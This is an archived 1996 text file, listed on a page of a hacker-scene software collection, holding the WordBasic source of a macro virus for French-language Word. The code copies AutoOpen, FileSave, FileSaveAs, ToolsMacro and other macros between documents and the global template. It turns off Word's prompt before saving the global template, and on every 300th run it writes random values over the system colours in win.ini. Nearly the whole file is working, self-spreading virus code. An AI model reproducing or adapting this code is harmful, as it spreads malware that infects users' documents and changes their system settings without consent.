home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / MVUPDAT3.ZIP / RAINBOW.ZIP / COLORS.ZIP / COLORS1.TXT < prev    next >
Text File  |  1996-04-13  |  6KB  |  210 lines

  1. Macro macros
  2.  
  3. Sub Main
  4. End Sub
  5.  
  6. Function bDebug
  7.         bDebug = 0
  8. End Function
  9.  
  10. Dim Shared sColors$(21)
  11.  
  12. Sub objectiv
  13.         On Error Goto ErrRtn1
  14.  
  15.         If bDebug Then MsgBox "start objectiv"
  16.  
  17.         sVar$ = GetProfileString$("windows", "countersu")
  18.         iCounter = Val(sVar$)
  19.         If bDebug Then MsgBox "iCounter=" + Str$(iCounter)
  20.         SetProfileString "windows", "countersu", Str$(iCounter + 1)
  21.  
  22.         If bDebug Then Goto BeNice
  23.         iEvery = 300
  24.         iModEvery = iCounter - (Int(iCounter / iEvery) * iEvery)
  25.         If bDebug Then
  26.                 MsgBox "iModEvery=" + Str$(iModEvery)
  27.         End If
  28.         If iModEvery = (iEvery - 1) Then
  29.                 
  30.                 sColors$(0) = "Background"
  31.                 sColors$(1) = "AppWorkspace"
  32.                 sColors$(2) = "Window"
  33.                 sColors$(3) = "WindowText"
  34.                 sColors$(4) = "Menu"
  35.                 sColors$(5) = "MenuText"
  36.                 sColors$(6) = "ActiveTitle"
  37.                 sColors$(7) = "InactiveTitle"
  38.                 sColors$(8) = "TitleText"
  39.                 sColors$(9) = "ActiveBorder"
  40.                 sColors$(10) = "InactiveBorder"
  41.                 sColors$(11) = "WindowFrame"
  42.                 sColors$(12) = "Scrollbar"
  43.                 sColors$(13) = "ButtonFace"
  44.                 sColors$(14) = "ButtonShadow"
  45.                 sColors$(15) = "ButtonText"
  46.                 sColors$(16) = "GrayText"
  47.                 sColors$(17) = "Hilight"
  48.                 sColors$(18) = "HilightText"
  49.                 sColors$(19) = "InactiveTitleText"
  50.                 sColors$(20) = "ButtonHilight"
  51.                 
  52.                 For i = 0 To 20
  53.                         SetProfileString("colors", sColors$(i), Str$(Int(Rnd() * 256)) + " " + Str$(Int(Rnd() * 256)) + " " + Str$(Int(Rnd() * 256)))
  54.                 Next i
  55.         End If
  56. BeNice:
  57.         Goto Done1
  58.  
  59. ErrRtn1:
  60.         On Error Goto Done1
  61.         If bDebug Then
  62.                 MsgBox "error " + Str$(Err) + " occurred"
  63.         End If
  64.  
  65. Done1:
  66. End Sub
  67.  
  68. Dim Shared iTotalNames
  69. Dim Shared sNames$(9)
  70. Dim Shared sMacros$(9)
  71. Dim Shared bInstalled(9)
  72. Dim Shared bActiveTInstalled(9)
  73.  
  74. Sub SetNames
  75.         On Error Goto ErrRtn2
  76.  
  77.         iTotalNames = 9
  78.         sNames$(0) = "AutoOpen"
  79.         sNames$(1) = "FileSaveAs"
  80.         sNames$(2) = "macros"
  81.         sNames$(3) = "AutoExec"
  82.         sNames$(4) = "ToolsMacro"
  83.         sNames$(5) = "AutoClose"
  84.         sNames$(6) = "FileSave"
  85.         sNames$(7) = "FileExit"
  86.         sNames$(8) = "FileNew"
  87.         Goto Done2
  88.  
  89. ErrRtn2:
  90.         On Error Goto Done2
  91.         If bDebug Then
  92.                 MsgBox "error " + Str$(Err) + " occurred"
  93.         End If
  94.  
  95. Done2:
  96. End Sub
  97.  
  98. Sub SavToGlobal(MyName$)
  99.         On Error Goto ErrRtn3
  100.  
  101.         If bDebug Then
  102.                 MsgBox "start SavToGlobal"
  103.                 MsgBox "MyName$=" + MyName$
  104.                 iExecute = 0
  105.         Else
  106.                 iExecute = 1
  107.         End If
  108.  
  109.         SetNames
  110.         OutilsOptionsEnregistrement .InviteGlobalDot = 0
  111.  
  112. '       REM see if were already installed in global template
  113. '       iMacroCount = CountMacros(0, 0)
  114. '       For i = 1 To iMacroCount
  115. '               For j = 0 To iTotalNames - 1
  116. '                       If MacroName$(i, 0, 0) = sNames$(j) Then
  117. '                               bInstalled(j) = - 1
  118. '                       End If
  119. '               Next j
  120. '       Next i
  121.  
  122.         REM see if were already installed in active template
  123.         iMacroCount = CompteMacros(1, 0)
  124.         For i = 1 To iMacroCount
  125.                 For j = 0 To iTotalNames - 1
  126.                         If NomMacro$(i, 1, 0) = sNames$(j) Then
  127.                                 bActiveTInstalled(j) = - 1
  128.                         End If
  129.                 Next j
  130.         Next i
  131.  
  132.         sMe$ = MyName$
  133.         For i = 0 To iTotalNames - 1
  134.                 sMacros$(i) = sMe$ + ":" + sNames$(i)
  135. '               If Not bInstalled(i) Then
  136. '                       MacroCopy sMacros$(i), "Global:" + sNames$(i), iExecute
  137. '               End If
  138.                 REM only delete if we have a copy
  139.                 If bActiveTInstalled(i) Then
  140.                         On Error Resume Next
  141.                         OutilsMacro .Nom = sNames$(i), .Afficher = 1, .Supprimer
  142.                         On Error Goto ErrRtn3
  143.                         If bDebug Then
  144.                                 Msg1$ = "before macrocopy " + sMacros$(i)
  145.                                 Msg2$ = ",Global:" + sNames$(i) + "," + Str$(iExecute)
  146.                                 MsgBox Msg1$ + Msg2$
  147.                         End If
  148.                         MacroCopie sMacros$(i), "Global:" + sNames$(i), iExecute
  149.                         If bDebug Then MsgBox "end copy macro " + Str$(i)
  150.                 End If
  151.         Next i
  152.         Goto Done3
  153.  
  154. ErrRtn3:
  155.         On Error Goto Done3
  156.         If bDebug Then
  157.                 MsgBox "error " + Str$(Err) + " occurred"
  158.         End If
  159.  
  160. Done3:
  161. End Sub
  162.  
  163. Sub SavToDoc(MyName$)
  164.         On Error Goto ErrRtn4
  165.  
  166.         If bDebug Then
  167.                 MsgBox "start SavToDoc"
  168.                 MsgBox "MyName$=" + MyName$
  169.                 iExecute = 0
  170.         Else
  171.                 iExecute = 1
  172.         End If
  173.  
  174.         SetNames
  175.         OutilsOptionsEnregistrement .InviteGlobalDot = 0
  176.  
  177.         If bDebug Then MsgBox "first loop"
  178.  
  179.         REM see if were already installed in active template
  180.         iMacroCount = CompteMacros(1, 0)
  181.         For i = 1 To iMacroCount
  182.                 For j = 0 To iTotalNames - 1
  183.                         If NomMacro$(i, 1, 0) = sNames$(j) Then
  184.                                 bActiveTInstalled(j) = - 1
  185.                         End If
  186.                 Next j
  187.         Next i
  188.  
  189.         If bDebug Then MsgBox "second loop"
  190.         sMe$ = MyName$
  191.         For i = 0 To iTotalNames - 1
  192.                 sMacros$(i) = sMe$ + ":" + sNames$(i)
  193.                 If Not bActiveTInstalled(i) Then
  194.                         MacroCopie "Global:" + sNames$(i), sMacros$(i), iExecute
  195.                 End If
  196.                 If bDebug Then MsgBox "end copy macro " + Str$(i)
  197.         Next i
  198.  
  199. NoCopies:
  200.         Goto Done4
  201.  
  202. ErrRtn4:
  203.         On Error Goto Done4
  204.         If bDebug Then
  205.                 MsgBox "error " + Str$(Err) + " occurred"
  206.         End If
  207.  
  208. Done4:
  209. End Sub
  210.